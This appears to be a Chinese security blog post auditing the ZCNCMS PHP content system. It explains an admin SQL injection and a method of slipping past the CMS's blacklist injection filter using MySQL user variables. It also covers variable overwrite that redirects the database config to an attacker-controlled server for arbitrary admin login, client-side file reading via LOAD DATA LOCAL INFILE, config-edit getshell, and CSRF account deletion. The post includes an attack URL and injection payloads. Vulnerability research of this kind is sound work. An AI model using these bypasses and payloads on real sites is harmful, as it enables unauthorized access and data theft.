热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ZCNCMS审计及漏洞分析

 前言因为实际目标的需要审计了一下这个古老的CMS,接下来的内容将会包括本人发现漏洞代码及漏洞的利用过程、原有漏洞的细节分析、全局防SQL注入ids绕过细节分析等。 漏洞利用先来看一下漏洞的利用效果后

 

前言

因为实际目标的需要审计了一下这个古老的CMS,接下来的内容将会包括本人发现漏洞代码及漏洞的利用过程、原有漏洞的细节分析、全局防SQL注入ids绕过细节分析等。

 

漏洞利用

先来看一下漏洞的利用效果


后台SQL注入绕过ids

该cms比较古老,与之前的dedecms同样用了全局的08sec ids过滤sql注入,后面会详细分析绕过的方法原理(网上也有的,说一下自己见解)

首先是比较容易理解的payload:

这里payload改为: and extractvalue(1,concat(0x7e,(database()),0x7e))也可,但利用受ids限制。

其次是绕过全局payload:


任意密码登录后台

外网vps安装mysql服务并开启允许远程访问,访问目标url。

eg: http://localhost/zcncms/admin/?c=login&db_host=vps_ip&db_name=root&db_pass=root&db_table=zcncms


客户端任意文件读取

以上的利用方法仅限于默认安装数据库,数据库名及表和列名都不变的情况。因此想到利用前段时间比较火的MySQL LOAD DATA LOCAL INFILE任意客户端文件读取。

其他漏洞如后台CSRF及后台getshell不放图了,下面具体分析一下这些漏洞成因及修复方法。

 

漏洞代码分析

分析的漏洞包括,SQL注入、变量覆盖、CSRF、修改配置文件getshell。


SQL注入漏洞

首先看漏洞产生的代码部分

//module/menus/admincontroller/menus.php
//第33行至63行
……
if($parentid == 0) {
$rootid = 0;
} else{
$parent = $menus->GetInfo('',' id = '.$parentid);
if($parent['parentid'] == 0) {
$rootid = $parentid;
} else{
$rootid = $parent['rootid'];
}
}
……

由于$parentid变量没有intval强制转换类型并且可控,因此漏洞发生。接下来分析绕过全局防注入ids。

//db.class.php
function SafeSql($db_string,$querytype='select'){
//var_dump($db_string);
//完整的SQL检查
//$pos = '';
//$old_pos = '';
$pos = 0;
$old_pos = 0;
$clean = '';
if(empty($db_string)){
return false;
}
while (true){
$pos = strpos($db_string, ''', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, ''', $pos + 1);
$pos2 = strpos($db_string, '\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~s+~s' ), array(' '), $clean)));
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
{
$fail = true;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])intos+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~([^)]*?select~s', $clean) != 0)
{
$fail = true;
$error="sub select detect";
}
if (!empty($fail))
{
//fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$errorrn");
exit("Safe Alert: Request Error step 2!");
}
else
{
return $db_string;
}
}

代码的前部分简单来说就是获取两个单引号中的内容并替换为$s$,后部分获取$clean并根据waf规则进行黑名单检测。很明显如果我们可以使得payload被两个单引号包裹就可以绕过ids的检测,但是由于特殊字符会被转义,导致两个“’”引起报错无法执行payload。利用MySQL用户自定义变量的方法绕过转义报错。

在mysql中,“@”+字符串代表的是用户定义的变量。通过“:=”进行赋值,反引号仅作标识使用。

因此当传入的参数中包含用户自定义的变量 “@`‘`”时,php处理时匹配到单引号进行替换$s$,带入ids检测,检测通过,payload进入mysql特殊字符无论怎么发生转义都不影响,比如“@`’`”同样仅仅代表一个名字为“’”的变量。

无码言x,直接看例子比较容易懂。

可能返回这样的结果比较难以理解(我开始的确不怎么理解),那换一种语法应该就懂了。

可以发现,在mysql中where条件部分处理的逻辑顺序是,先将所有id与1比对,相同返回1,1与后面的变量@`anquanke`进行比较,相同则返回1。同样的道理id=1=`qq`是id=1返回的结果与字段qq中的值进行比较,这里存在类型转换(0=’admin’)。至于@`’`无返回结果,因为该变量用户并没有定义所以不存在为NULL。

至此,利用该特性绕过SQL注入检测机制。(另:任何运算符都可达到同样效果。)


变量覆盖

//index.php
error_reporting(E_ALL | E_STRICT);
define('WEB_IN', '1');
define('WEB_APP','admin');
define('WEB_ROOT', dirname(__FILE__).'/');
define('WEB_INC', WEB_ROOT.'../include/');
define('WEB_MOD', WEB_INC.'model/');
define('WEB_TPL',WEB_ROOT.'templates/default/');
define('WEB_DATA',WEB_ROOT.'../data/');
define('WEB_CACHE',WEB_ROOT.'../data/cache/');
define('WEB_MODULE', WEB_ROOT.'../module/');
//引入common
//echo WEB_APP;
require_once(WEB_INC.'/common.inc.php');
// var_dump($db_type,$db_host,$db_name,$db_pass,$db_table,$db_ut,$db_tablepre);
$config['linkurlmodeadmin'] = $config['linkurlmode'];
$config['linkurlmode'] = 0;
//include(WEB_INC.'forbiddenip.inc.php');
//include(WEB_INC.'close.inc.php');
include(WEB_INC.'rootstart.inc.php');

包含了common.inc.php文件,直接看该文件的导致变量覆盖的代码部分。

//56-81行
//引入配置文件 20120726解决方案,数据库类型
require(WEB_INC.'/config.inc.php');
//foreach(Array('_GET','_POST','_COOKIE') as $_request) 取消COOKIE自动生成变量
foreach(Array('_GET','_POST') as $_request)
{
foreach($$_request as $_k => $_v) {
//------------------20130128校验变量名
if(strstr($_k, '_') == $_k){
echo 'code:re_all';
exit;
}
//可考虑增加变量检测,减少变量覆盖
//--------------------------
${$_k} = _GetRequest($_v);
}
}
//unset($_GET,$_POST);
//时区
if(PHP_VERSION > '5.1')
{
@date_default_timezone_set('PRC');
}
//引入配置文件
require(WEB_INC.'/config.inc.php');

可以通过get或post方式传参覆盖掉没有初始化的变量。在代码56,81行处开始,可以发现分别包含了config.inc.php文件,漏洞产生的根本原因在该文件。

//config.inc.php
//默认配置文件
//数据库
defined( 'WEB_IN' ) or die( 'Restricted access' );
require_once('dataconfig.inc.php');
/*
$db_type='2';
$host='localhost';
$name='root';
$pass='';
$table='pj_zcncms';
$tablepre='';
$ut='utf8';
*/

这里使用require_once包含了dataconfig.inc.php文件,由于require_once的特性,第二次包含并不起作用,并且变量覆盖产生在第一次包含config文件之后,所以我们成功的覆盖掉了数据库配置文件变量,导致了任意用户后台登录以及任意客户端文件读取漏洞。


后台getshell

//include/string.class.php 35-62行
function safe($msg)
{
if(!$msg && $msg != '0')
{
return false;
}
if(is_array($msg))
{
foreach($msg AS $key=>$value)
{
$msg[$key] = $this->safe($value);
}
}
else
{
$msg = trim($msg);
//$old = array("&"," ","'",'"',"t","r");
//$new = array("&"," ","'",""","    ","");
$old = array("&"," ","'",'"',"t");
$new = array("&"," ","'",""","    ");
$msg = str_replace($old,$new,$msg);
$msg = str_replace(" ","   ",$msg);
$old = array("//isU","//isU","//isU","//isU","//isU","//isU");
$new = array("","","","","","");
$msg = preg_replace($old,$new,$msg);
}
return $msg;
}

后台修改配置处过滤的核心代码如上所示,可以利用反斜线转义引号,插入php代码成功getshell。


CSRF任意管理员账户删除

//users.php
switch($a)
{
......
case 'del'://
$ids = array();
if(isset($id)){
if(is_array($id)){
$ids = $id;
} else {
$ids[] = $id;
}
} else {
errorinfo('变量错误','');
}
foreach($ids as $key=>$value){
$value = intval($value);
if($value <= 0){
errorinfo('变量错误','');
}
}
if($users->Del($ids)){
errorinfo('删除成功','');
}else{
errorinfo('删除失败','');
}
break;
......
}

通过get方式传参,并且没有验证referer和token。简单利用如下:

//payload

 

总结

一定还存在其他漏洞,但是考虑时间和利弊就暂时审计这些,起初目的就是找个进后台的办法,已经实现即可。审计和学习已有漏洞时遇到的最大问题是,当时对SQL注入ids绕过存在很多细节性的问题,还好在写文章时想通了。


推荐阅读
  • Struts2框架构建指南
    本文详细介绍了如何使用Struts2(版本2.3.16.3)构建Web应用,包括必要的依赖库添加、配置文件设置以及简单的示例代码。Struts2是Apache软件基金会下的一个开源框架,用于简化Java Web应用程序的开发。 ... [详细]
  • 工作中频繁在不同Linux服务器之间切换时,频繁输入密码不仅耗时还影响效率。本文介绍如何通过设置SSH密钥认证,简化登录流程,提高工作效率。 ... [详细]
  • egg实现登录鉴权(七):权限管理
    权限管理包含三部分:访问页面的权限,操作功能的权限和获取数据权限。页面权限:登录用户所属角色的可访问页面的权限功能权限:登录用户所属角色的可访问页面的操作权限数据权限:登录用户所属 ... [详细]
  • Spring Security基础配置详解
    本文详细介绍了Spring Security的基础配置方法,包括如何搭建Maven多模块工程以及具体的安全配置步骤,帮助开发者更好地理解和应用这一强大的安全框架。 ... [详细]
  • 本文探讨了在使用Apache Flink向Kafka发送数据过程中遇到的事务频繁失败问题,并提供了详细的解决方案,包括必要的配置调整和最佳实践。 ... [详细]
  • 本文档提供了详细的MySQL安装步骤,包括解压安装文件、选择安装类型、配置MySQL服务以及设置管理员密码等关键环节,帮助用户顺利完成MySQL的安装。 ... [详细]
  • 本文详细介绍了在 Windows 7 上安装和配置 PHP 5.4 的 Memcached 分布式缓存系统的方法,旨在减少数据库的频繁访问,提高应用程序的响应速度。 ... [详细]
  • 本文详细介绍了如何在ReactJS项目中集成Onsen-UI的ActionSheetButton组件,并通过具体示例展示了其使用方法及效果。 ... [详细]
  • 本文探讨了如何在Sitecore 9环境中通过Postman使用API密钥发送请求,包括解决常见错误的方法。 ... [详细]
  • iOS 小组件开发指南
    本文详细介绍了iOS小部件(Widget)的开发流程,从环境搭建、证书配置到业务逻辑实现,提供了一系列实用的技术指导与代码示例。 ... [详细]
  • 利用Cookie实现用户登录状态的持久化
    本文探讨了如何使用Cookie技术在Web应用中实现用户登录状态的持久化,包括Cookie的基本概念、优势及主要操作方法,并通过一个简单的Java Web项目示例展示了具体实现过程。 ... [详细]
  • 在使用mybatis进行mapper.xml测试的时候发生必须为元素类型“mapper”声明属性“namespace”的错误项目目录结构UserMapper和UserMappe ... [详细]
  • 在 Ubuntu 22.04 LTS 上部署 Jira 敏捷项目管理工具
    Jira 敏捷项目管理工具专为软件开发团队设计,旨在以高效、有序的方式管理项目、问题和任务。该工具提供了灵活且可定制的工作流程,能够根据项目需求进行调整。本文将详细介绍如何在 Ubuntu 22.04 LTS 上安装和配置 Jira。 ... [详细]
  • 本文介绍了如何通过 AJAX 发送请求到后端控制器,并将返回的 JSON 数据解析后在前端页面上显示。具体步骤包括发送 AJAX 请求、解析 JSON 字符串和遍历数据。 ... [详细]
  • 2023年最新指南:如何在PHP中屏蔽警告和错误
    本文详细介绍了如何在PHP中屏蔽警告和错误,包括多种方法和最佳实践,帮助开发者提升代码质量和安全性。 ... [详细]
author-avatar
萝莉控的许123321
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有